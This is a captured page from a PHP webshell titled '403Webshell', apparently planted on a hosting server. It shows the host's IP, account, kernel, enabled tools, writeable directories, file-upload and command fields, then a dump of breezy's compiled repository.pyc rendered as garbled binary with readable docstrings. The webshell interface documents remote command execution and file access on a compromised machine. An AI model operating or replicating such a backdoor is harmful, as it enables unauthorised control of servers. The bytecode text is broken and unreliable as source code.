403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/repository.cpython-313.pyc
�

p��gr���SrSSKJr SSKJrJr SSKJr \"\"5S5 SSKJ	r	J
r
JrJrJ
r
Jr SSKJr SS	KJr SS
KJr SSKJrJr SSKJrJrJrJrJr \(aSS
KJr Sq "SS\RB5r""SS\RF5r$"SS5r%"SS5r&"SS\5r'"SS5r("SS\	RR\5r*"SS\	RV5r,\
RZS"5r.\,"\.5r/"S S\	R`5r1"S!S"5r2"S#S$\\*5r3"S%S&5r4S'r5S,S)jr6"S*S+5r7g()-�google�)�Iterable)�
TYPE_CHECKING�Optional�)�lazy_importzb
import time

from breezy import (
    config,
    osutils,
    )
from breezy.i18n import gettext
)�
controldir�debug�errors�graph�registry�ui)�revision)�only_raises)�InterObject)�LogicalLockResult�_RelockDebugMixin)�log_exception_quietly�mutter�mutter_callsite�note�warning)�RevisionTreeFc��\rSrSrSrSrSrg)�IsInWriteGroupError�3z=May not refresh_data of repo %(repo)s while in a write group.c�>�[RRXS9 g)N)�repo)r�InternalBzrError�__init__��selfrs  �3/usr/lib/python3/dist-packages/breezy/repository.pyr �IsInWriteGroupError.__init__6s�����(�(��(�9��N)�__name__�
__module__�__qualname__�__firstlineno__�_fmtr �__static_attributes__r&r%r#rr3s��J�D�:r%rc��\rSrSrSrSrg)�CannotSetRevisionId�:z8Repository format does not support setting revision ids.r&N)r'r(r)r*r+r,r&r%r#r.r.:s��E�Dr%r.c�"�\rSrSrSrSSjrSrg)�FetchResult�>z�Result of a fetch operation.

Attributes:
  revidmap: For lossy fetches, map from source revid to target revid.
  total_fetched: Number of revisions fetched
Nc��XlX lg�N)�
total_fetched�revidmap)r"r5r6s   r#r �FetchResult.__init__Fs
��*�� �
r%)r6r5�NN)r'r(r)r*�__doc__r r,r&r%r#r1r1>s���!r%r1c�p�\rSrSrSrSrSrSSjrSrSr	S	r
S
rSrSSjr
S
rSrSrSrg)�
CommitBuilder�Kz�Provides an interface to build up a commit.

This allows describing a tree to be committed without needing to
know the internals of the format of the repository.
TFNc
��X0lX�lUc!URRS5UlO1[	U[
5(dUR
5UlOX`lX lXl0Ul	Ub,URU5 URRU5 Uc[R5n[US5UlUc[R!5UlO[%U5UlUR'U5 g)a�Initiate a CommitBuilder.

Args:
  repository: Repository to commit to.
  parents: Revision ids of the parents of the new revision.
  timestamp: Optional timestamp recorded for commit.
  timezone: Optional timezone for timestamp.
  committer: Optional committer to set for commit.
  revprops: Optional dictionary of revision properties.
  revision_id: Optional revision id.
  lossy: Whether to discard data that can not be natively
    represented, when pushing to a foreign VCS
N�email�)�
_config_stack�_lossy�get�
_committer�
isinstance�str�decode�parents�
repository�	_revprops�_validate_revprops�update�time�round�
_timestamp�osutils�local_time_offset�	_timezone�int�_generate_revision_if_needed)
r"rHrG�config_stack�	timestamp�timezone�	committer�revprops�revision_id�lossys
          r#r �CommitBuilder.__init__Xs���2*������"�0�0�4�4�W�=�D�O��I�s�+�+�'�.�.�0�D�O�'�O���$��������#�#�H�-��N�N�!�!�(�+����	�	��I��	�1�-�����$�6�6�8�D�N� ��]�D�N��)�)�+�6r%c�,�[UR5e)z�Return True if any entries were changed.

This includes merge-only changes. It is the core for the --unchanged
detection in commit.

Returns: True if any changes have occured.
)�NotImplementedError�any_changes�r"s r#r^�CommitBuilder.any_changes�s��"�$�"2�"2�3�3r%c�D�SU;a[SRX!55eg)z?Verify things like commit messages don't have bogus characters.�
zInvalid value for {}: {!r}N)�
ValueError�format)r"�text�contexts   r#�_validate_unicode_text�$CommitBuilder._validate_unicode_text�s'���4�<��9�@�@��O�P�P�r%c���UR5HUup#[U[5(d[SR	X#55eURUSR	U55 MW g)Nz<revision property ({}) is not a valid (unicode) string: {!r}zrevision property ({}))�itemsrDrErcrdrg)r"rX�key�values    r#rJ� CommitBuilder._validate_revprops�s^��"�.�.�*�J�C��e�S�)�)� �.�.4�f�S�.@���

�'�'��/G�/N�/N�s�/S�T�+r%c�,�[UR5e)zLMake the actual commit.

Returns: The revision id of the recorded revision.
)r]�commit)r"�messages  r#ro�CommitBuilder.commit�s��
"�$�+�+�.�.r%c�,�[UR5e)z%Abort the commit that is being built.)r]�abortr_s r#rs�CommitBuilder.abort�s��!�$�*�*�-�-r%c�,�[UR5e)a'Return the tree that was just committed.

After calling commit() this can be called to get a
RevisionTree representing the newly committed tree. This is
preferred to calling Repository.revision_tree() because that may
require deserializing the inventory, while we already have a copy in
memory.
�r]�
revision_treer_s r#rw�CommitBuilder.revision_tree�s��"�$�"4�"4�5�5r%c�,�[UR5e)z�Tell the builder that the inventory is finished.

Returns: The inventory id in the repository, which can be used with
    repository.get_inventory.
)r]�finish_inventoryr_s r#rz�CommitBuilder.finish_inventory�s��"�$�"7�"7�8�8r%c���URRR(dUb
[5egUcUR	5UlSUlgXlSUlg)z�Create a revision id if None was supplied.

If the repository can not support user-specified revision ids
they should override this function and raise CannotSetRevisionId
if _new_revision_id is not None.

Raises:
  CannotSetRevisionId
NTF)rH�_format�supports_setting_revision_idsr.�_gen_revision_id�_new_revision_id�random_revid�r"rYs  r#rS�*CommitBuilder._generate_revision_if_needed�sV�����&�&�D�D��&�)�+�+����$(�$9�$9�$;�D�!� $�D��$/�!� %�D�r%c�,�[UR5e)a�Record a new tree via iter_changes.

Args:
  tree: The tree to obtain text contents from for changed objects.
  basis_revision_id: The revision id of the tree the iter_changes
    has been generated against. Currently assumed to be the same
    as self.parents[0] - if it is not, errors may occur.
  iter_changes: An iter_changes iterator with the changes to apply
    to basis_revision_id. The iterator must not include any items with
    a current kind of None - missing items must be either filtered out
    or errored-on beefore record_iter_changes sees the item.
Returns: A generator of (relpath, fs_hash) tuples for use with
    tree._observed_sha1.
)r]�record_iter_changes)r"�tree�basis_revision_id�iter_changess    r#r��!CommitBuilder.record_iter_changes�s��"�$�":�":�;�;r%)
rCr@rAr�rIrNrQrGr�rH�NNNNNF��returnr)r'r(r)r*r9�record_root_entry�updates_branchr r^rgrJrorsrwrzrSr�r,r&r%r#r;r;Ks_������N�������57�n4�Q�
U�/�.�	6�9�&�*<r%r;c�$�\rSrSrSrSrSrSrg)�RepositoryWriteLockResult��z�The result of write locking a repository.

Attributes:
  repository_token: The token obtained from the underlying lock, or
    None.
  unlock: A callable which will unlock the lock.
c�<�[R"X5 X lgr4)rr �repository_token)r"�unlockr�s   r#r �"RepositoryWriteLockResult.__init__�s���"�"�4�0� 0�r%c�N�SRURUR5$)Nz!RepositoryWriteLockResult({}, {}))rdr�r�r_s r#�__repr__�"RepositoryWriteLockResult.__repr__�s$��2�9�9��!�!�4�;�;�
�	
r%)r�N)r'r(r)r*r9r r�r,r&r%r#r�r��s���1�
r%r�c�.�\rSrSrSrSSjrSrSrSrg)	�
WriteGroupizpContext manager that manages a write group.

Raising an exception will result in the write group being aborted.
c��XlX lgr4)rH�_suppress_errors)r"rH�suppress_errorss   r#r �WriteGroup.__init__	s
��$�� /�r%c�:�URR5 U$r4)rH�start_write_groupr_s r#�	__enter__�WriteGroup.__enter__
s�����)�)�+��r%c��U(a&URRUR5 gURR5 g�NF)rH�abort_write_groupr��commit_write_group)r"�exc_type�exc_val�exc_tbs    r#�__exit__�WriteGroup.__exit__s0����O�O�-�-�d�.C�.C�D���O�O�.�.�0r%)r�rHN�F)	r'r(r)r*r9r r�r�r,r&r%r#r�r�s���
0��1r%r�c��^�\rSrSrSrSrSTSjrSrSrSr	Sr
S	rS
r\
S5rU4Sjr\S
5r\S5rSrSrSrSrSrSrSUSjrSrSrSrSrSVSjrSTSjrSWSjr \
S5r!SUSjr"Sr#S r$S!r%S"r&S#r'S$r(SXS%jr)SYS&jr*\+"\,RZ\,R\5S'5r/SUS(jr0S)r1S*r2SUS+jr3S,r4S-r5S.r6S/r7S0r8S1r9S2r:S3r;SUS4jr<S5r=S6r>S7r?S8r@S9rASZS:jrBS;rCS[S<jrDS=rESZS>jrFS?rGS@rHSArISBrJSCrKSDrLSErMSUSFjrNSGrOSHrPSIrQSJrRSKrSSLrTSMrUS\SNjrVS\SOjrWSUSPjrXSQrYSRrZSSr[U=r\$)]�
RepositoryiakRepository holding history for one or more branches.

The repository holds and retrieves historical information including
revisions and file history.  It's normally accessed only by the Branch,
which views a particular line of development through that history.

See VersionedFileRepository in breezy.vf_repository for the
base class for most Bazaar repositories.
Tc���URUR5LakU(a&[SURUR55 g[R"SRURUR555eUR
5 SUlg![aCnSUlU(de[S5 [5 [[S5U5 SnANPSnAff=f)z�Commit the contents accrued within the current write group.

Args:
  suppress_errors: if true, abort_write_group will catch and log
    unexpected errors that happen during the abort, rather than
    allowing them to propagate.  Defaults to False.
z<(suppressed) mismatched lock context and write group. %r, %rNz3mismatched lock context and write group. {!r}, {!r}zabort_write_group failedzbrz: ERROR (ignored): %s)�_write_group�get_transactionrr�BzrErrorrd�_abort_write_group�	Exceptionrr�gettext)r"r��excs   r#r��Repository.abort_write_group,s������D�$8�$8�$:�:���R��%�%��(�(�*��
��/�/�E�L�L��%�%�t�';�';�'=���
�
	;��#�#�%�!�����	;� $�D��"���-�.�!�#���3�4�c�:�:��
	;�s�
B"�"
C/�,9C*�*C/c��g)a+Template method for per-repository write group cleanup.

This is called during abort before the write group is considered to be
finished and should cleanup any internal state accrued during the write
group. There is no requirement that data handed to the repository be
*not* made available - this is not a rollback - but neither should any
attempt be made to ensure that data added is fully commited. Abort is
invoked when an error has occured so futher disk or network operations
may not be possible or may error and if possible should not be
attempted.
Nr&r_s r#r��Repository._abort_write_groupM��r%c�,�[UR5e)zaAdd a repository to use for looking up data not held locally.

Args:
  repository: A repository.
)r]�add_fallback_repository�r"rHs  r#r��"Repository.add_fallback_repositoryZs��"�$�">�">�?�?r%c�,�[RX5$)z�Check that this repository can fallback to repository safely.

Raise an error if not.

Args:
  repository: A repository to fallback to.
)�InterRepository�_assert_same_modelr�s  r#�_check_fallback_repository�%Repository._check_fallback_repositorybs���1�1�$�C�Cr%c�b�S[R;a[SS5 UR5$)aReturns a list of all the revision ids in the repository.

This is conceptually deprecated because code should generally work on
the graph reachable from a particular revision, and ignore any other
revisions that might be present.  There is no direct replacement
method.
�evil�z(all_revision_ids is linear with history.)r
�debug_flagsr�_all_revision_idsr_s r#�all_revision_ids�Repository.all_revision_idsls,���U�&�&�&��A�I�J��%�%�'�'r%c�,�[UR5e)z�Returns a list of all the revision ids in the repository.

These are in as much topological order as the underlying store can
present.
)r]r�r_s r#r��Repository._all_revision_idsxs��"�$�"8�"8�9�9r%c�8�URR5 g)z�Break a lock if one is present from another instance.

Uses the ui factory to ask for confirmation if the lock may be from
an active process.
N)�
control_files�
break_lockr_s r#r��Repository.break_lock�s��	
���%�%�'r%c�H�[R5RU5$)z>Construct the current default format repository in controldir.)�RepositoryFormat�get_default_format�
initialize)r	s r#�create�Repository.create�s�� �2�2�4�?�?�
�K�Kr%c�b>�[TU]5 XlX lX0lSUl/Ulg)z�Instantiate a Repository.

Args:
  _format: The format of the repository on disk.
  controldir: The ControlDir of the repository.
  control_files: Control files to use for locking, etc.
N)�superr r}r	r�r��_fallback_repositories)r"r}r	r��	__class__s    �r#r �Repository.__init__�s0���	������$��*�� ���&(��#r%c�.�URR$r4)r	�user_transportr_s r#r��Repository.user_transport�s�����-�-�-r%c��UR$r4)�
_transportr_s r#�control_transport�Repository.control_transport�s�����r%c��UR(a;SRURRURUR5$SRURRUR5$)Nz${}({!r}, fallback_repositories={!r})z{}({!r}))r�rdr�r'�baser_s r#r��Repository.__repr__�s\���&�&�9�@�@����'�'����D�4O�4O��
��$�$�T�^�^�%<�%<�d�i�i�H�Hr%c��URnURn[U5[U5:wag[S[X#555$)z9Returns true if the repositories have the same fallbacks.Fc3�H# �UHupURU5v� M g7fr4)�has_same_location)�.0�f�gs   r#�	<genexpr>�1Repository._has_same_fallbacks.<locals>.<genexpr>�s"���K�6J�d�a�1�&�&�q�)�)�6J�s� ")r��len�all�zip)r"�
other_repo�my_fb�other_fbs    r#�_has_same_fallbacks�Repository._has_same_fallbacks�sA���+�+���4�4���u�:��X��&���K�c�%�6J�K�K�Kr%c�h�URURLagURUR:H$)z�Returns a boolean indicating if this repository is at the same
location as another repository.

This might return False even when two repository objects are accessing
the same physical repository via different URLs.
F)r��control_url�r"�others  r#r��Repository.has_same_location�s.���>�>����0�����5�#4�#4�4�4r%c��URSL$)zKReturn True if there is an open write group.

:seealso: start_write_group.
N)r�r_s r#�is_in_write_group�Repository.is_in_write_group�s��
� � ��,�,r%c�6�URR5$r4)r��	is_lockedr_s r#r��Repository.is_locked�s���!�!�+�+�-�-r%c�b�UR5=(a URRS:H$)z+Return True if this object is write locked.�w)r�r��
_lock_moder_s r#�is_write_locked�Repository.is_write_locked�s%���~�~��H�D�$6�$6�$A�$A�S�$H�Hr%c�6�UR5nURRUS9nU(dTUR5 UR	S5 UR
HnUR
5 M UR5 [URU5$)aoLock this repository for writing.

This causes caching within the repository obejct to start accumlating
data during reads, and allows a 'write_group' to be obtained. Write
groups must be used for actual data insertion.

A token should be passed in if you know that you have locked the object
some other way, and need to synchronise this object's state with that
fact.

XXX: this docstring is duplicated in many places, e.g. lockable_files.py

Args:
  token: if this is already locked, then lock_write will fail
    unless the token matches the existing lock.

Returns:
  a token if this instance supports tokens, otherwise None.

Raises:
  TokenLockingNotSupported: when a token is given but this
    instance doesn't support using token locks.
  MismatchedToken: if the specified token doesn't match the token
    of the existing lock.

Returns:
  A RepositoryWriteLockResult.
)�tokenr)
r�r��
lock_write�_warn_if_deprecated�
_note_lockr��	lock_read�
_refresh_datar�r�)r"r�lockedrs    r#r�Repository.lock_write�s}��:���!���"�"�-�-�E�-�:����$�$�&��O�O�C� ��3�3����� �4�
��� �(����e�<�<r%c�6�UR5nURR5 U(dTUR5 UR	S5 UR
HnUR5 M UR
5 [UR5$)z}Lock the repository for read operations.

Returns: An object with an unlock method which will release the lock
    obtained.
�r)	r�r�rr	r
r�rrr�)r"r
rs   r#r�Repository.lock_read�sr�����!�����$�$�&���$�$�&��O�O�C� ��3�3����� �4���� � ����-�-r%c�6�URR5$r4)r��get_physical_lock_statusr_s r#r�#Repository.get_physical_lock_statuss���!�!�:�:�<�<r%c�8�URR5 g)z�Tell this repository not to release the physical lock when this
object is unlocked.

If lock_write doesn't return a token, then this method is not supported.
N)r��leave_in_placer_s r#�leave_lock_in_place�Repository.leave_lock_in_places��	
���)�)�+r%c�8�URR5 g)z�Tell this repository to release the physical lock when this
object is unlocked, even if it didn't originally acquire it.

If lock_write doesn't return a token, then this method is not supported.
N)r��dont_leave_in_placer_s r#�dont_leave_lock_in_place�#Repository.dont_leave_lock_in_places��	
���.�.�0r%c���UR5 0nU(aU(aSUS'U(GaU[R:wGaUR5nU(a
[	5nUR
"U/5VVs/sHupgU[R:wdMUPM nnnSn	U(d
USUS4nUR
U5H0n
U	(dU
n	U(dMWRU
R5 M2 W
nU(a[W5US'URUR4US'U	RU	R4US'UsSSS5 $s snnf!,(df   g=f)a�Gather statistics from a revision id.

Args:
  revid: The revision id to gather statistics from, if None, then
    no revision specific statistics are gathered.
  committers: Optional parameter controlling whether to grab
    a count of committers from the revision specific statistics.
Returns: A dictionary of statistics. Currently this contains:
    committers: The number of committers if requested.
    firstrev: A tuple with timestamp, timezone for the penultimate left
        most ancestor of revid, if revid is not the NULL_REVISION.
    latestrev: A tuple with timestamp, timezone for revid, if revid is
        not the NULL_REVISION.
    revisions: The total revision count in the repository.
    size: An estimate disk size of the repository in bytes.
r�
committersN����firstrev�	latestrev)r�
_mod_revision�
NULL_REVISION�	get_graph�set�
iter_ancestry�
get_revisions�addrWr�rUrV)r"�revidr�resultr�all_committersr�p�	revisions�
last_revisionr�first_revisions            r#�gather_stats�Repository.gather_statssA��"�^�^�
��F���'(��|�$���-�"=�"=�=����(���%(�U�N�#(�"5�"5�u�g�">��">����M�7�7�7��">���
!%�
�!� )�!��i��m� ;�I� $� 2� 2�9� =�H�(�(0�
�!�z�&�*�*�8�+=�+=�>�	!>�
"*���+.�~�+>�F�<�(�&4�&>�&>��@W�@W�%X��z�"�'4�'>�'>�
�@V�@V�&W��{�#��7�
����
�s+�A*E�;E�E�8E�A-E�E�
E&c#�|# �U(a8UR5(d#URR5Shv�N g"SS5n[RR	UR
U"5S9H8up4Ub
UShv�N U(aMUcM UR
5Shv�N M: gNyN1N
7f)z�Find branches underneath this repository.

This will include branches inside other branches.

Args:
  using: If True, list only branches using this repository.
Nc� �\rSrSrSrSrSrg)�+Repository.find_branches.<locals>.EvaluatoriXc��SUlg)NT��
first_callr_s r#r �4Repository.find_branches.<locals>.Evaluator.__init__Ys	��"&��r%c���UR(dUR"5nS/U44$SUlUR"5S4nSU4$![Ra N4f=f)NFT)r7�open_repositoryr�NoRepositoryPresent�
list_branches)r"r	rHrls    r#�__call__�4Repository.find_branches.<locals>.Evaluator.__call__\sn�����7�%/�%?�%?�%A�
� %�r�:�&6�6�6�"'���#�1�1�3�T�:���U�{�"��
"�5�5����s�A�A�Ar6N)r'r(r)r*r r=r,r&r%r#�	Evaluatorr4Xs��
'�
#r%r?)�evaluate)�	is_sharedr	r<�
ControlDir�find_controldirsr��
find_branches)r"�usingr?�branchesrHs     r#rD�Repository.find_branchesLs��������)�)����4�4�6�6�6��	#�	#�$%/�$9�$9�$J�$J����)�+�%K�%
� �H��#�#�#�#��5�Z�3�%�3�3�5�5�5�
%
�+
7�2$�5�s@�:B<�B6�A	B<�B8�	B<�B<�B<�,B:�-
B<�8B<�:B<c��UR5 [RX5RUUUUS9sSSS5 $!,(df   g=f)z�Return the revision ids that other has that this does not.

These are returned in topological order.

revision_ids: only return revision ids included by revision_id.
)�find_ghosts�revision_ids�if_present_ids�limitN)rr�rB�search_missing_revision_ids)r"r�rIrJrKrLs      r#rM�&Repository.search_missing_revision_idsrsE���^�^�
�"�&�&�u�3�O�O�'�)�-��	P���
�
�s�%A�
Ac�`�[RRU5nUR5$)z�Open the repository rooted at base.

For instance, if the repository is at URL/.bzr/repository,
Repository.open(URL) -> a Repository instance.
)r	rB�openr:)r��controls  r#rP�Repository.open�s)���'�'�,�,�T�2���&�&�(�(r%c�J�[RX5RU5$)z�Make a complete copy of the content in self into destination.

This is a destructive operation! Do not use it on existing
repositories.
)r�rB�copy_content)r"�destinationrYs   r#�copy_content_into�Repository.copy_content_into�s ���"�"�4�5�B�B�;�O�Or%c���URUR5La>[R"SR	UR5UR55eUR5nSUlU$)z�Commit the contents accrued within the current write group.

:seealso: start_write_group.

Returns: it may return an opaque hint that can be passed to 'pack'.
z2mismatched lock context {!r} and write group {!r}.N)r�r�rr�rd�_commit_write_group)r"r*s  r#r��Repository.commit_write_group�sk�����D�$8�$8�$:�:��/�/�D�K�K��(�(�*�D�,=�,=���
�
�)�)�+�� ����
r%c��g)a*Template method for per-repository write group cleanup.

This is called before the write group is considered to be
finished and should ensure that all data handed to the repository
for writing during the write group is safely committed (to the
extent possible considering file system caching etc).
Nr&r_s r#rY�Repository._commit_write_group�r�r%c�.�[R"U5e)z�Suspend a write group.

Raises:
  UnsuspendableWriteGroup: If the write group can not be
    suspended.

Returns:
  List of tokens
�r�UnsuspendableWriteGroupr_s r#�suspend_write_group�Repository.suspend_write_group�s���,�,�T�2�2r%c�$�UR5 g)a�Re-read any data needed to synchronise with disk.

This method is intended to be called after another repository instance
(such as one used by a smart server) has inserted data into the
repository. On all repositories this will work outside of write groups.
Some repository formats (pack and newer for breezy native formats)
support refresh_data inside write groups. If called inside a write
group on a repository that does not support refreshing in a write group
IsInWriteGroupError will be raised.
N)rr_s r#�refresh_data�Repository.refresh_data�s��	
���r%c���UR5(d[R"U5eUR(a[R"S5eURU5 UR
5Ulg)N�already in a write group)rr�NotWriteLockedr�r��_resume_write_groupr��r"�tokenss  r#�resume_write_group�Repository.resume_write_group�sZ���#�#�%�%��'�'��-�-�����/�/�"<�=�=�� � ��(� �0�0�2��r%c�.�[R"U5er4r^ris  r#rh�Repository._resume_write_group�s���,�,�T�2�2r%c�`�UR5(a[R"S5eURU5(aIUR	U5(a3Ub,[
R"U5(dURU5 S/4$[RX5nURX#US9$)a�Fetch the content required to construct revision_id from source.

If revision_id is None, then all content is copied.

fetch() may not be used when the repository is in a write group -
either finish the current write group before using fetch, or use
fetch before starting the write group.

Args:
  find_ghosts: Find and copy revisions in the source that are
    ghosts in the target (and not reachable directly by walking out to
    the first-present revision in target from revision_id).
  revision_id: If specified, all the content needed for this
    revision ID will be copied to the target.  Fetch will determine for
    itself which content needs to be copied.
Returns: A FetchResult object
z%May not fetch while in a write group.r)rYrIrZ)r�rrr�r�r"�is_null�get_revisionr�rB�fetch)r"�sourcerYrIrZ�inters      r#rr�Repository.fetch�s���$�!�!�#�#��)�)�*Q�R�R��!�!�&�)�)�d�.F�.F�v�.N�.N��&�}�/D�/D�[�/Q�/Q��!�!�+�.��b�5�L��#�#�F�1���{�{�#�E��
�	
r%c
�,�[UR5e)aObtain a CommitBuilder for this repository.

Args:
  branch: Branch to commit to.
  parents: Revision ids of the parents of the new revision.
  config_stack: Configuration stack to use.
  timestamp: Optional timestamp recorded for commit.
  timezone: Optional timezone for timestamp.
  committer: Optional committer to set for commit.
  revprops: Optional dictionary of revision properties.
  revision_id: Optional revision id.
  lossy: Whether to discard data that can not be natively
    represented, when pushing to a foreign VCS
)r]�get_commit_builder)
r"�branchrGrTrUrVrWrXrYrZs
          r#rw�Repository.get_commit_builder�s��4"�$�"9�"9�:�:r%c��URRS:XagURRS:XaMURb@UR	5 URR5 [R"S5eURR5 URRS:Xa$URHnUR5 M gg)Nrrz3Must end write groups before releasing write locks.r)	r��_lock_countrr�r�r�rr�r�r!s  r#r��Repository.unlocks������)�)�Q�.�4�3E�3E�3P�3P�TW�3W�� � �,��&�&�(��"�"�)�)�+��o�o�I���	
���!�!�#����)�)�Q�.��3�3�����
�4�/r%c��UR5 URXR5S9nURX25 UsSSS5 $!,(df   g=f)z�Clone this repository into controldir using the current format.

Currently no check is made that the format of this repository and
the bzrdir format are compatible. FIXME RBC 20060201.

Returns: The newly created destination repository.
��sharedN)r�_create_sprouting_reporArV)r"r	rY�	dest_repos    r#�clone�Repository.clone&sG���^�^�
��3�3�J�~�~�GW�3�X�I��"�"�9�:���
�
�s�0A�
Ac���UR5(d[R"U5eUR(a[R"S5eUR5 UR
5Ulg)a�Start a write group in the repository.

Write groups are used by repositories which do not have a 1:1 mapping
between file ids and backend store to manage the insertion of data from
both fetch and commit operations.

A write lock is required around the
start_write_group/commit_write_group for the support of lock-requiring
repository formats.

One can only insert data into a repository inside a write group.

Returns: None.
rfN)rrrgr�r��_start_write_groupr�r_s r#r��Repository.start_write_group5sZ���#�#�%�%��'�'��-�-�����/�/�"<�=�=����!� �0�0�2��r%c��g)z|Template method for per-repository write group startup.

This is called before the write group is considered to be
entered.
Nr&r_s r#r��Repository._start_write_groupLr�r%c��UR5 URUSS9nURXS9 UsSSS5 $!,(df   g=f)zvCreate a descendent repository for new development.

Unlike clone, this does not copy the settings of the repository.
Fr~�rYN)rr�rr)r"�	to_bzrdirrYr�s    r#�sprout�Repository.sproutSs@��
�^�^�
��3�3�I�e�3�L�I��O�O�D�O�:���
�
�s	�!<�
A
c�&�[URURRR5(dUR	5nU$URRXS9nU$![Ra UR5nU$f=f)Nr~)	rDr}r	r��create_repositoryr�r�UninitializableFormatr:)r"�a_controldirrr�s    r#r��!Repository._create_sprouting_repo]s����,�.�.����0G�0G�0Q�0Q�R�R�$�6�6�8�I���	
;� �L�L�3�3�L�3�P�	�����/�/�
;�(�8�8�:�	���
;�s�
A(�($B�Bc��UR5 XRU45;sSSS5 $!,(df   g=f)z3True if this repository has a copy of the revision.N)r�
has_revisionsr�s  r#�has_revision�Repository.has_revisionjs+��
�^�^�
��"4�"4�k�^�"D�D��
�
�s�/�
=c�,�[UR5e)z�Probe to find out the presence of multiple revisions.

Args:
  revision_ids: An iterable of revision_ids.
Returns: A set of the revision_ids that were present.
)r]r��r"rJs  r#r��Repository.has_revisionsos��"�$�"4�"4�5�5r%c��UR5 URU/5SsSSS5 $!,(df   g=f)z0Return the Revision object for a named revision.rN)rr'r�s  r#rq�Repository.get_revisionxs-��
�^�^�
��%�%�{�m�4�Q�7��
�
�s�0�
>c�,�[UR5e)a.'reconcile' helper routine that allows access to a revision always.

This variant of get_revision does not cross check the weave graph
against the revision one as get_revision does: but it should only
be used by reconcile, or reconcile-alike commands that are correcting
or testing the revision graph.
)r]�get_revision_reconciler�s  r#r��!Repository.get_revision_reconcile}s��"�$�"=�"=�>�>r%c��0nURU5H"up4Uc[R"X5eXBU'M$ UVs/sHo2UPM	 sn$s snf)zvGet many revisions at once.

Repositories that need to check data on every revision read should
subclass this method.
)�iter_revisionsr�NoSuchRevision)r"rJ�revsr)�revs     r#r'�Repository.get_revisions�sY�����-�-�l�;�J�E��{��+�+�D�8�8���K�<�*6�6���U���6�6��6s�Ac�,�[UR5e)a�Iterate over revision objects.

Args:
  revision_ids: An iterable of revisions to examine. None may be
    passed to request all revisions known to the repository. Note that
    not all repositories can find unreferenced revisions; for those
    repositories only referenced ones will be returned.
Returns: An iterator of (revid, revision) tuples. Absent revisions (
    those asked for but not available) are returned as (revid, None).
    N.B.: Revisions are not necessarily yielded in order.
)r]r�r�s  r#r��Repository.iter_revisions�s��"�$�"5�"5�6�6r%c��UR5 URU5n[URU/55SsSSS5 $!,(df   g=f)zhReturn the delta for one revision.

The delta is relative to the left-hand predecessor of the
revision.
rN)rrq�list�get_revision_deltas)r"rYrs   r#�get_revision_delta�Repository.get_revision_delta�sD���^�^�
��!�!�+�.�A���0�0�!��5�6�q�9��
�
�s�/A
�

Ac#�# �SSKJn [5nUH<nURUR5 URURSS5 M> URU5Vs0sHofR5U_M nnUH�nUR(d UR[R5nOXuRSnURX�UR5n	U	RUS9v� UcMyU	RU5R5V
s/sH
n
U
cMU
PM nn
M� gs snfs sn
f7f)a�Produce a generator of revision deltas.

Note that the input is a sequence of REVISIONS, not revision ids.
Trees will be held in memory until the generator exits.
Each delta is relative to the revision's lefthand predecessor.

specific_files should exist in the first revision.

Args:
  specific_files: if not None, the result is filtered
  so that only those files, their parents and their
  children are included.
r)�	InterTreeNr)�specific_files)r�r�r%r(rYrK�
parent_ids�revision_trees�get_revision_idrwr"r#rB�compare�find_source_paths�values)r"r-r�r��required_treesr�t�trees�old_tree�	intertreer,s           r#r��Repository.get_revision_deltas�s2���	$����!�H����x�3�3�4��!�!�(�"5�"5�b�q�"9�:�"�26�1D�1D�^�1T�U�1T�A�"�"�$�a�'�1T��U�"�H��&�&��-�-�m�.I�.I�J�� �!4�!4�Q�!7�8��!�
�
�h�h�6J�6J�0K�L�I��#�#�>�#�B�B��)�'�8�8��H�O�O�Q�"�Q����Q��"��"��V��"�s+�A&E�(D8�A9E�?!E� D=�+D=�1Ec�,�[UR5er4)r]�store_revision_signature)r"�gpg_strategy�	plaintextrYs    r#r��#Repository.store_revision_signature�s��!�$�"?�"?�@�@r%c�,�[UR5e)zvStore a signature text for a revision.

Args:
  revision_id: Revision id of the revision
  signature: Signature text.
)r]�add_signature_text)r"rY�	signatures   r#r��Repository.add_signature_text�s��"�$�"9�"9�:�:r%c�,�[UR5e)a�Iterate through file versions.

Files will not necessarily be returned in the order they occur in
desired_files.  No specific order is guaranteed.

Yields pairs of identifier, bytes_iterator.  identifier is an opaque
value supplied by the caller as part of desired_files.  It should
uniquely identify the file version in the caller's context.  (Examples:
an index number or a TreeTransform trans_id.)

Args:
  desired_files: a list of (file_id, revision_id, identifier)
    triples
)r]�iter_files_bytes)r"�
desired_filess  r#r��Repository.iter_files_bytes�s��"�$�"7�"7�8�8r%c���Uup4U/nX1-
nUS:a[R"USU45e[XUS9 [U5U::aU[U5-
S-nSX�S44$[U5S-
U:�a[S5eSUS4$![RaKnURU:Xa[R
"X5eUR
UR5 SnAN�SnAff=f)	z�Return the revision id of a revno, given a later (revno, revid)
pair in the same history.

Returns: if found (True, revid).  If the available history ran out
    before reaching the revno, then this returns
    (False, (closest_revno, closest_revid)).
r)�
stop_indexNrFrz)_iter_for_revno returned too much historyT)	r�RevnoOutOfBounds�_iter_for_revno�RevisionNotPresentrYr��appendr��AssertionError)	r"�revno�
known_pair�known_revno�known_revid�partial_history�distance_from_known�err�earliest_revnos	         r#�get_rev_id_for_revno�Repository.get_rev_id_for_revno�s���$.� ��&�-��)�1����"��)�)�%�!�[�1A�B�B�
	4��D�>Q�R����#6�6�(�3��+?�?�!�C�N��N�B�,?�@�A�A����!�#�&9�9� �!L�M�M��o�b�)�*�*���(�(�	4����+�-��+�+�D�>�>�

�"�"�3�?�?�3�3��	4�s�
B�C!�AC�C!c�,�[UR5e)zAReturn True if this repository is flagged as a shared repository.)r]rAr_s r#rA�Repository.is_shared���!�$�.�.�1�1r%c�,�[UR5e)zReconcile this repository.)r]�	reconcile)r"r��thoroughs   r#r��Repository.reconciler�r%c��g)aXHelper called from lock_* to ensure coherency with disk.

The default implementation does nothing; it is however possible
for repositories to maintain loaded indices across multiple locks
by checking inside their implementation of this method to see
whether their indices are still valid. This depends of course on
the disk format being validatable in this manner. This method is
also called by the refresh_data() public interface to cause a refresh
